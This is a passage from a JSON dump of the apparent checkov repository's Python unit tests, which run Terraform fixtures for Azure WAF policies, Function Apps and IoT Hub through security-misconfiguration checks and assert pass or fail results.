\"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\"]\n                }\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RequestHeaders\"\n                    selector      = \"UserAgent\"\n                  }\n\n                  operator           = \"Contains\"\n                  negation_condition = false\n                  match_values       = [\"Windows\"]\n                }\n\n                action = \"Block\"\n              }\n\n              policy_settings {\n                enabled                     = false\n                request_body_check          = true\n                file_upload_limit_in_mb     = 100\n                max_request_body_size_in_kb = 128\n              }\n\n              managed_rules {\n                exclusion {\n                  match_variable          = \"RequestHeaderNames\"\n                  selector                = \"x-company-secret-header\"\n                  selector_match_operator = \"Equals\"\n                }\n                exclusion {\n                  match_variable          = \"RequestCookieNames\"\n                  selector                = \"too-tasty\"\n                  selector_match_operator = \"EndsWith\"\n                }\n\n                managed_rule_set {\n                  type    = \"OWASP\"\n                  version = \"3.1\"\n                  rule_group_override {\n                    rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                    disabled_rules = [\n                      \"920300\",\n                      \"920440\"\n                    ]\n                  }\n                }\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_frontdoor_firewall_policy\" \"example\" {\n              name                = \"example-wafpolicy\"\n              resource_group_name = azurerm_resource_group.example.name\n              location            = azurerm_resource_group.example.location\n\n              custom_rules {\n                name      = \"Rule1\"\n                priority  = 1\n                rule_type = \"MatchRule\"\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n\n                  operator           = \"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                }\n\n                action = \"Block\"\n              }\n\n              custom_rules {\n                name      = \"Rule2\"\n                priority  = 2\n                rule_type = \"MatchRule\"\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n\n                  operator           = \"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\"]\n                }\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RequestHeaders\"\n                    selector      = \"UserAgent\"\n                  }\n\n                  operator           = \"Contains\"\n                  negation_condition = false\n                  match_values       = [\"Windows\"]\n                }\n\n                action = \"Block\"\n              }\n\n              policy_settings {\n                enabled                     = false\n                mode                        = \"Prevention\"\n                request_body_check          = true\n                file_upload_limit_in_mb     = 100\n                max_request_body_size_in_kb = 128\n              }\n\n              managed_rules {\n                exclusion {\n                  match_variable          = \"RequestHeaderNames\"\n                  selector                = \"x-company-secret-header\"\n                  selector_match_operator = \"Equals\"\n                }\n                exclusion {\n                  match_variable          = \"RequestCookieNames\"\n                  selector                = \"too-tasty\"\n                  selector_match_operator = \"EndsWith\"\n                }\n\n                managed_rule_set {\n                  type    = \"OWASP\"\n                  version = \"3.1\"\n                  rule_group_override {\n                    rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                    disabled_rules = [\n                      \"920300\",\n                      \"920440\"\n                    ]\n                  }\n                }\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_frontdoor_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      policy_settings {\n                        enabled                     = true\n                        mode                        = \"Prevention\"\n                        request_body_check          = true\n                        file_upload_limit_in_mb     = 100\n                        max_request_body_size_in_kb = 128\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        }\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_frontdoor_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      policy_settings {\n                        mode                        = \"Prevention\"\n                        request_body_check          = true\n                        file_upload_limit_in_mb     = 100\n                        max_request_body_size_in_kb = 128\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        }\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success3(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_frontdoor_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      policy_settings {\n                        enabled                     = true\n                        request_body_check          = true\n                        file_upload_limit_in_mb     = 100\n                        max_request_body_size_in_kb = 128\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        }\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success4(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_frontdoor_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        }\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_frontdoor_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FunctionAppDisallowCORS.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.FunctionAppDisallowCORS import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestFunctionAppDisallowCORS(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_function_app\" \"example\" {\n              name                       = \"test-azure-functions\"\n              location                   = azurerm_resource_group.example.location\n              resource_group_name        = azurerm_resource_group.example.name\n              app_service_plan_id        = azurerm_app_service_plan.example.id\n              storage_account_name       = azurerm_storage_account.example.name\n              storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              site_config {\n                cors {\n                    allowed_origins = [\"*\"]\n                }\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success1(self):\n        hcl_res = hcl2.loads(\"\"\"\n              resource \"azurerm_function_app\" \"example\" {\n                name                       = \"test-azure-functions\"\n                location                   = azurerm_resource_group.example.location\n                resource_group_name        = azurerm_resource_group.example.name\n                app_service_plan_id        = azurerm_app_service_plan.example.id\n                storage_account_name       = azurerm_storage_account.example.name\n                storage_account_access_key = azurerm_storage_account.example.primary_access_key\n                site_config {\n                  cors {\n                      allowed_origins = [\"192.0.0.1\"]\n                  }\n                }\n              }\n                  \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n              resource \"azurerm_function_app\" \"example\" {\n                name                       = \"test-azure-functions\"\n                location                   = azurerm_resource_group.example.location\n                resource_group_name        = azurerm_resource_group.example.name\n                app_service_plan_id        = azurerm_app_service_plan.example.id\n                storage_account_name       = azurerm_storage_account.example.name\n                storage_account_access_key = azurerm_storage_account.example.primary_access_key\n              }\n                  \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FunctionAppEnableLogging.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.FunctionAppEnableLogging import check\n\n\nclass TestFunctionAppEnableLogging(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_FunctionAppEnableLogging\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_function_app.pass',\n            'azurerm_function_app.pass2',\n            'azurerm_function_app_slot.pass',\n            'azurerm_function_app_slot.pass2',\n        }\n        failing_resources = {\n            'azurerm_function_app.fail',\n            'azurerm_function_app_slot.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FunctionAppHttpVersionLatest.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.FunctionAppHttpVersionLatest import check\n\n\nclass TestFunctionAppHttpVersionLatest(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_FunctionAppHttpVersionLatest\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_function_app.pass',\n            'azurerm_function_app_slot.pass',\n        }\n        failing_resources = {\n            'azurerm_function_app.fail',\n            'azurerm_function_app.fail2',\n            'azurerm_function_app_slot.fail',\n            'azurerm_function_app_slot.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FunctionAppMinTLSVersion.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.FunctionAppMinTLSVersion import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFunctionAppMinTLSVersion(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppMinTLSVersion\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_function_app.pass\",\n            \"azurerm_function_app.pass2\",\n            \"azurerm_function_app.pass3\",\n            \"azurerm_function_app_slot.pass4\",\n            \"azurerm_linux_function_app.pass5\",\n            \"azurerm_windows_function_app.pass6\",\n            \"azurerm_linux_function_app_slot.pass7\",\n            \"azurerm_windows_function_app_slot.pass8\",\n            \"azurerm_windows_function_app_slot.pass9\",\n        }\n        failing_resources = {\n            \"azurerm_function_app.fail\",\n            \"azurerm_function_app_slot.fail2\",\n            \"azurerm_linux_function_app.fail3\",\n            \"azurerm_windows_function_app.fail4\",\n            \"azurerm_linux_function_app_slot.fail5\",\n            \"azurerm_windows_function_app_slot.fail6\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FunctionAppPublicAccessDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.FunctionAppPublicAccessDisabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFunctionAppPublicAccessDisabled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppPublicAccessDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_linux_function_app.disabled\",\n            \"azurerm_linux_function_app_slot.disabled\",\n            \"azurerm_windows_function_app.disabled\",\n            \"azurerm_windows_function_app_slot.disabled\",\n        }\n\n        failing_resources = {\n            \"azurerm_linux_function_app.default\",\n            \"azurerm_linux_function_app_slot.default\",\n            \"azurerm_windows_function_app.default\",\n            \"azurerm_windows_function_app_slot.default\",\n            \"azurerm_linux_function_app.enabled\",\n            \"azurerm_linux_function_app_slot.enabled\",\n            \"azurerm_windows_function_app.enabled\",\n            \"azurerm_windows_function_app_slot.enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FunctionAppsAccessibleOverHttps.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.FunctionAppsAccessibleOverHttps import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestFunctionAppsAccessibleOverHttps(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppAccessibleOverHttps\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_function_app.pass\",\n            \"azurerm_function_app_slot.pass\",\n            \"azurerm_linux_function_app.pass\",\n            \"azurerm_linux_function_app.pass2\",\n            \"azurerm_linux_function_app_slot.pass\",\n            \"azurerm_linux_function_app_slot.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_function_app.fail\",\n            \"azurerm_function_app.fail2\",\n            \"azurerm_function_app_slot.fail\",\n            \"azurerm_function_app_slot.fail2\",\n            \"azurerm_linux_function_app.fail\",\n            \"azurerm_linux_function_app.fail2\",\n            \"azurerm_linux_function_app.fail3\",\n            \"azurerm_linux_function_app_slot.fail\",\n            \"azurerm_linux_function_app_slot.fail2\",\n            \"azurerm_linux_function_app_slot.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_tf_plan(self):\n        test_files_dir = Path(__file__).parent / \"example_FunctionAppAccessibleOverHttps_tfplan\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(report.failed_checks[0].check_id, 'CKV_AZURE_70')\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_FunctionAppsEnableAuthentication.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.FunctionAppsEnableAuthentication import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestFunctionAppsEnableAuthentication(unittest.TestCase):\n\n    def test_failure_missing_authentication_block(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_function_app\" \"example\" {\n              name                       = \"test-azure-functions\"\n              location                   = \"azurerm_resource_group.example.location\"\n              resource_group_name        = \"azurerm_resource_group.example.name\"\n              app_service_plan_id        = \"azurerm_app_service_plan.example.id\"\n              storage_account_name       = \"azurerm_storage_account.example.name\"\n              storage_account_access_key = \"azurerm_storage_account.example.primary_access_key\"\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_function_app\" \"example\" {\n              name                       = \"test-azure-functions\"\n              location                   = \"azurerm_resource_group.example.location\"\n              resource_group_name        = \"azurerm_resource_group.example.name\"\n              app_service_plan_id        = \"azurerm_app_service_plan.example.id\"\n              storage_account_name       = \"azurerm_storage_account.example.name\"\n              storage_account_access_key = \"azurerm_storage_account.example.primary_access_key\"\n              auth_settings {\n                enabled = true\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failed(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_function_app\" \"example\" {\n              name                       = \"test-azure-functions\"\n              location                   = \"azurerm_resource_group.example.location\"\n              resource_group_name        = \"azurerm_resource_group.example.name\"\n              app_service_plan_id        = \"azurerm_app_service_plan.example.id\"\n              storage_account_name       = \"azurerm_storage_account.example.name\"\n              storage_account_access_key = \"azurerm_storage_account.example.primary_access_key\"\n              auth_settings {\n                enabled = false\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_GithubActionsOIDCTrustPolicy.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.GithubActionsOIDCTrustPolicy import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAzureGithubActionsOIDCTrustPolicy(unittest.TestCase):\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_GithubActionsOIDCTrustPolicy\"\n\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azuread_application_federated_identity_credential.pass1\",\n            \"azuread_application_federated_identity_credential.pass2\",\n            \"azuread_application_federated_identity_credential.pass4\",\n            \"azuread_application_federated_identity_credential.pass_special_chars\",\n        }\n        failing_resources = {\n            \"azuread_application_federated_identity_credential.fail1\",\n            \"azuread_application_federated_identity_credential.fail2\",\n            \"azuread_application_federated_identity_credential.fail3\",\n            \"azuread_application_federated_identity_credential.fail5\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_IoTNoPublicNetworkAccess.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.IoTNoPublicNetworkAccess import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestIoTNoPublicNetworkAccess(unittest.TestCase):\n\n    def test_success_missing_attribute(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_iothub\" \"example\" {\n              name                = \"Example-IoTHub\"\n              resource_group_name = azurerm_resource_group.example.name\n              location            = azurerm_resource_group.example.location\n            \n              sku {\n                name     = \"S1\"\n                capacity = \"1\"\n              }\n            \n              endpoint {\n                type                       = \"AzureIotHub.StorageContainer\"\n                connection_string          = azurerm_storage_account.example.primary_blob_connection_string\n                name                       = \"export\"\n                batch_frequency_in_seconds = 60\n                max_chunk_size_in_bytes    = 10485760\n                container_name             = azurerm_storage_container.example.name\n                encoding                   = \"Avro\"\n                file_name_format           = \"{iothub}/{partition}_{YYYY}_{MM}_{DD}_{HH}_{mm}\"\n              }\n            \n              endpoint {\n                type              = \"AzureIotHub.EventHub\"\n                connection_string = azurerm_eventhub_authorization_rule.example.primary_connection_string\n                name              = \"export2\"\n              }\n            \n              route {\n                name           = \"export\"\n                source         = \"DeviceMessages\"\n                condition      = \"true\"\n                endpoint_names = [\"export\"]\n                enabled        = true\n              }\n            \n              route {\n                name           = \"export2\"\n                source         = \"DeviceMessages\"\n                condition      = \"true\"\n                endpoint_names = [\"export2\"]\n                enabled        = true\n              }\n            \n              enrichment {\n                key            = \"tenant\"\n                value          = \"$twin.tags.Tenant\"\n                endpoint_names = [\"export\", \"export2\"]\n              }\n            \n              tags = {\n                purpose = \"testing\"\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_iothub']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n           resource \"azurerm_iothub\" \"example\" {\n              name                = \"Example-IoTHub\"\n              resource_group_name = azurerm_resource_group.example.name\n              location            = azurerm_resource_group.example.location\n            \n              sku {\n                name     = \"S1\"\n                capacity = \"1\"\n              }\n            \n              endpoint {\n                type                       = \"AzureIotHub.StorageContainer\"\n                connection_string          = azurerm_storage_account.example.primary_blob_connection_string\n                name                       = \"export\"\n                batch_frequency_in_seconds = 60\n                